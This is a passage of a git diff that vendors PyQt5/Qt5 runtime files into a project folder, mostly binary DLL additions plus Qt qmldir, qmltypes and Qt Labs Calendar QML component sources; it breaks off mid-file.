b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/libssl-1_1-x64.dll new file mode 100644 index 00000000..e81c5cc9 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/libssl-1_1-x64.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/msvcp140.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/msvcp140.dll new file mode 100644 index 00000000..4fec76d7 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/msvcp140.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/msvcp140_1.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/msvcp140_1.dll new file mode 100644 index 00000000..a4cae473 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/msvcp140_1.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/msvcp140_2.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/msvcp140_2.dll new file mode 100644 index 00000000..72cd7732 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/msvcp140_2.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/opengl32sw.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/opengl32sw.dll new file mode 100644 index 00000000..475e82a4 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/opengl32sw.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/ssleay32.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/ssleay32.dll new file mode 100644 index 00000000..0276bba1 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/ssleay32.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/vcruntime140.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/vcruntime140.dll new file mode 100644 index 00000000..459166dc Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/vcruntime140.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/vcruntime140_1.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/vcruntime140_1.dll new file mode 100644 index 00000000..fc7bad4d Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/vcruntime140_1.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/assetimporters/assimp.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/assetimporters/assimp.dll new file mode 100644 index 00000000..ed96734d Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/assetimporters/assimp.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/assetimporters/uip.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/assetimporters/uip.dll new file mode 100644 index 00000000..50738c3a Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/assetimporters/uip.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/audio/qtaudio_wasapi.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/audio/qtaudio_wasapi.dll new file mode 100644 index 00000000..fe63f63e Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/audio/qtaudio_wasapi.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/audio/qtaudio_windows.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/audio/qtaudio_windows.dll new file mode 100644 index 00000000..f037533d Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/audio/qtaudio_windows.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/bearer/qgenericbearer.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/bearer/qgenericbearer.dll new file mode 100644 index 00000000..56305142 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/bearer/qgenericbearer.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/generic/qtuiotouchplugin.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/generic/qtuiotouchplugin.dll new file mode 100644 index 00000000..67275c55 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/generic/qtuiotouchplugin.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/geometryloaders/defaultgeometryloader.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/geometryloaders/defaultgeometryloader.dll new file mode 100644 index 00000000..7c9759fd Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/geometryloaders/defaultgeometryloader.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/geometryloaders/gltfgeometryloader.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/geometryloaders/gltfgeometryloader.dll new file mode 100644 index 00000000..8c88a1c7 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/geometryloaders/gltfgeometryloader.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/geoservices/qtgeoservices_esri.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/geoservices/qtgeoservices_esri.dll new file mode 100644 index 00000000..1be64ac6 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/geoservices/qtgeoservices_esri.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/geoservices/qtgeoservices_itemsoverlay.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/geoservices/qtgeoservices_itemsoverlay.dll new file mode 100644 index 00000000..78349247 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/geoservices/qtgeoservices_itemsoverlay.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/geoservices/qtgeoservices_mapbox.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/geoservices/qtgeoservices_mapbox.dll new file mode 100644 index 00000000..30546f23 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/geoservices/qtgeoservices_mapbox.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/geoservices/qtgeoservices_nokia.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/geoservices/qtgeoservices_nokia.dll new file mode 100644 index 00000000..3913bf89 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/geoservices/qtgeoservices_nokia.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/geoservices/qtgeoservices_osm.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/geoservices/qtgeoservices_osm.dll new file mode 100644 index 00000000..03c7809f Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/geoservices/qtgeoservices_osm.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/iconengines/qsvgicon.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/iconengines/qsvgicon.dll new file mode 100644 index 00000000..cbca63c2 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/iconengines/qsvgicon.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/imageformats/qgif.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/imageformats/qgif.dll new file mode 100644 index 00000000..b6e56585 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/imageformats/qgif.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/imageformats/qicns.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/imageformats/qicns.dll new file mode 100644 index 00000000..5b4365f4 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/imageformats/qicns.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/imageformats/qico.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/imageformats/qico.dll new file mode 100644 index 00000000..d89a6378 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/imageformats/qico.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/imageformats/qjpeg.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/imageformats/qjpeg.dll new file mode 100644 index 00000000..98cdf951 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/imageformats/qjpeg.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/imageformats/qsvg.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/imageformats/qsvg.dll new file mode 100644 index 00000000..c6b732ba Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/imageformats/qsvg.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/imageformats/qtga.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/imageformats/qtga.dll new file mode 100644 index 00000000..d4f77f89 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/imageformats/qtga.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/imageformats/qtiff.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/imageformats/qtiff.dll new file mode 100644 index 00000000..43cbc0c4 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/imageformats/qtiff.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/imageformats/qwbmp.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/imageformats/qwbmp.dll new file mode 100644 index 00000000..e1dc12c2 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/imageformats/qwbmp.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/imageformats/qwebp.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/imageformats/qwebp.dll new file mode 100644 index 00000000..3c49ed86 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/imageformats/qwebp.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/mediaservice/dsengine.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/mediaservice/dsengine.dll new file mode 100644 index 00000000..2f5bcc76 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/mediaservice/dsengine.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/mediaservice/qtmedia_audioengine.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/mediaservice/qtmedia_audioengine.dll new file mode 100644 index 00000000..adcf5bcc Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/mediaservice/qtmedia_audioengine.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/mediaservice/wmfengine.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/mediaservice/wmfengine.dll new file mode 100644 index 00000000..c7aa07e8 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/mediaservice/wmfengine.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/platforms/qminimal.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/platforms/qminimal.dll new file mode 100644 index 00000000..c4bcfd89 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/platforms/qminimal.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/platforms/qoffscreen.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/platforms/qoffscreen.dll new file mode 100644 index 00000000..ad297839 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/platforms/qoffscreen.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/platforms/qwebgl.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/platforms/qwebgl.dll new file mode 100644 index 00000000..5f317e50 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/platforms/qwebgl.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/platforms/qwindows.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/platforms/qwindows.dll new file mode 100644 index 00000000..e9c319d1 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/platforms/qwindows.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/platformthemes/qxdgdesktopportal.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/platformthemes/qxdgdesktopportal.dll new file mode 100644 index 00000000..34c02318 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/platformthemes/qxdgdesktopportal.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/playlistformats/qtmultimedia_m3u.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/playlistformats/qtmultimedia_m3u.dll new file mode 100644 index 00000000..17e2d89f Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/playlistformats/qtmultimedia_m3u.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/position/qtposition_positionpoll.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/position/qtposition_positionpoll.dll new file mode 100644 index 00000000..1c5f7d45 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/position/qtposition_positionpoll.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/position/qtposition_serialnmea.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/position/qtposition_serialnmea.dll new file mode 100644 index 00000000..3458b8b6 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/position/qtposition_serialnmea.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/position/qtposition_winrt.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/position/qtposition_winrt.dll new file mode 100644 index 00000000..faf88d80 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/position/qtposition_winrt.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/printsupport/windowsprintersupport.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/printsupport/windowsprintersupport.dll new file mode 100644 index 00000000..2e501718 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/printsupport/windowsprintersupport.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/renderers/openglrenderer.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/renderers/openglrenderer.dll new file mode 100644 index 00000000..4b7c7ac7 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/renderers/openglrenderer.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/sceneparsers/gltfsceneexport.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/sceneparsers/gltfsceneexport.dll new file mode 100644 index 00000000..f074e19f Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/sceneparsers/gltfsceneexport.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/sceneparsers/gltfsceneimport.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/sceneparsers/gltfsceneimport.dll new file mode 100644 index 00000000..fd809209 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/sceneparsers/gltfsceneimport.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/sensorgestures/qtsensorgestures_plugin.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/sensorgestures/qtsensorgestures_plugin.dll new file mode 100644 index 00000000..9706a62e Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/sensorgestures/qtsensorgestures_plugin.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/sensorgestures/qtsensorgestures_shakeplugin.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/sensorgestures/qtsensorgestures_shakeplugin.dll new file mode 100644 index 00000000..58e73bd7 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/sensorgestures/qtsensorgestures_shakeplugin.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/sensors/qtsensors_generic.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/sensors/qtsensors_generic.dll new file mode 100644 index 00000000..1c1263f7 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/sensors/qtsensors_generic.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/sqldrivers/qsqlite.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/sqldrivers/qsqlite.dll new file mode 100644 index 00000000..1d1b2006 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/sqldrivers/qsqlite.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/sqldrivers/qsqlodbc.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/sqldrivers/qsqlodbc.dll new file mode 100644 index 00000000..ee0620ed Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/sqldrivers/qsqlodbc.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/sqldrivers/qsqlpsql.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/sqldrivers/qsqlpsql.dll new file mode 100644 index 00000000..2ddeb7b8 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/sqldrivers/qsqlpsql.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/styles/qwindowsvistastyle.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/styles/qwindowsvistastyle.dll new file mode 100644 index 00000000..c97acd62 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/styles/qwindowsvistastyle.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/texttospeech/qtexttospeech_sapi.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/texttospeech/qtexttospeech_sapi.dll new file mode 100644 index 00000000..c0d42b54 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/texttospeech/qtexttospeech_sapi.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/webview/qtwebview_webengine.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/webview/qtwebview_webengine.dll new file mode 100644 index 00000000..8603465e Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/plugins/webview/qtwebview_webengine.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/WebSockets/qmldir b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/WebSockets/qmldir new file mode 100644 index 00000000..a4310d92 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/WebSockets/qmldir @@ -0,0 +1,4 @@ +module Qt.WebSockets +plugin declarative_qmlwebsockets ../../QtWebSockets/ +classname QtWebSocketsDeclarativeModule +typeinfo plugins.qmltypes diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/animation/labsanimationplugin.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/animation/labsanimationplugin.dll new file mode 100644 index 00000000..c208a8e1 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/animation/labsanimationplugin.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/animation/plugins.qmltypes b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/animation/plugins.qmltypes new file mode 100644 index 00000000..7b6112b7 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/animation/plugins.qmltypes @@ -0,0 +1,34 @@ +import QtQuick.tooling 1.2 + +// This file describes the plugin-supplied types contained in the library. +// It is used for QML tooling purposes only. +// +// This file was auto-generated by qmltyperegistrar. + +Module { + dependencies: [] + Component { + file: "qquickboundaryrule_p.h" + name: "QQuickBoundaryRule" + prototype: "QObject" + exports: ["Qt.labs.animation/BoundaryRule 1.0"] + exportMetaObjectRevisions: [0] + Enum { + name: "OvershootFilter" + values: ["None", "Peak"] + } + Property { name: "enabled"; type: "bool" } + Property { name: "minimum"; type: "double" } + Property { name: "minimumOvershoot"; type: "double" } + Property { name: "maximum"; type: "double" } + Property { name: "maximumOvershoot"; type: "double" } + Property { name: "overshootScale"; type: "double" } + Property { name: "currentOvershoot"; type: "double"; isReadonly: true } + Property { name: "peakOvershoot"; type: "double"; isReadonly: true } + Property { name: "overshootFilter"; type: "OvershootFilter" } + Property { name: "easing"; type: "QEasingCurve" } + Property { name: "returnDuration"; type: "int" } + Method { name: "componentFinalized" } + Method { name: "returnToBounds"; type: "bool" } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/animation/qmldir b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/animation/qmldir new file mode 100644 index 00000000..b24fc98b --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/animation/qmldir @@ -0,0 +1,3 @@ +module Qt.labs.animation +plugin labsanimationplugin +classname QtLabsAnimationPlugin diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/calendar/DayOfWeekRow.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/calendar/DayOfWeekRow.qml new file mode 100644 index 00000000..2fc0d6f7 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/calendar/DayOfWeekRow.qml @@ -0,0 +1,71 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Labs Calendar module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import Qt.labs.calendar 1.0 + +AbstractDayOfWeekRow { + id: control + + implicitWidth: Math.max(background ? background.implicitWidth : 0, + contentItem.implicitWidth + leftPadding + rightPadding) + implicitHeight: Math.max(background ? background.implicitHeight : 0, + contentItem.implicitHeight + topPadding + bottomPadding) + + spacing: 6 + topPadding: 6 + bottomPadding: 6 + font.bold: true + + //! [delegate] + delegate: Text { + text: model.shortName + font: control.font + horizontalAlignment: Text.AlignHCenter + verticalAlignment: Text.AlignVCenter + } + //! [delegate] + + //! [contentItem] + contentItem: Row { + spacing: control.spacing + Repeater { + model: control.source + delegate: control.delegate + } + } + //! [contentItem] +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/calendar/DayOfWeekRow.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/calendar/DayOfWeekRow.qmlc new file mode 100644 index 00000000..f327499f Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/calendar/DayOfWeekRow.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/calendar/MonthGrid.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/calendar/MonthGrid.qml new file mode 100644 index 00000000..884ce65f --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/calendar/MonthGrid.qml @@ -0,0 +1,73 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Labs Calendar module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import Qt.labs.calendar 1.0 + +AbstractMonthGrid { + id: control + + implicitWidth: Math.max(background ? background.implicitWidth : 0, + contentItem.implicitWidth + leftPadding + rightPadding) + implicitHeight: Math.max(background ? background.implicitHeight : 0, + contentItem.implicitHeight + topPadding + bottomPadding) + + spacing: 6 + + //! [delegate] + delegate: Text { + horizontalAlignment: Text.AlignHCenter + verticalAlignment: Text.AlignVCenter + opacity: model.month === control.month ? 1 : 0 + text: model.day + font: control.font + } + //! [delegate] + + //! [contentItem] + contentItem: Grid { + rows: 6 + columns: 7 + rowSpacing: control.spacing + columnSpacing: control.spacing + + Repeater { + model: control.source + delegate: control.delegate + } + } + //! [contentItem] +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/calendar/MonthGrid.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/calendar/MonthGrid.qmlc new file mode 100644 index 00000000..b001dc75 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/calendar/MonthGrid.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/calendar/WeekNumberColumn.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/calendar/WeekNumberColumn.qml new file mode 100644 index 00000000..e2c9d98b --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/calendar/WeekNumberColumn.qml @@ -0,0 +1,71 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Labs Calendar module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import Qt.labs.calendar 1.0 + +AbstractWeekNumberColumn { + id: control + + implicitWidth: Math.max(background ? background.implicitWidth : 0, + contentItem.implicitWidth + leftPadding + rightPadding) + implicitHeight: Math.max(background ? background.implicitHeight : 0, + contentItem.implicitHeight + topPadding + bottomPadding) + + spacing: 6 + leftPadding: 6 + rightPadding: 6 + font.bold: true + + //! [delegate] + delegate: Text { + text: model.weekNumber + font: control.font + horizontalAlignment: Text.AlignHCenter + verticalAlignment: Text.AlignVCenter + } + //! [delegate] + + //! [contentItem] + contentItem: Column { + spacing: control.spacing + 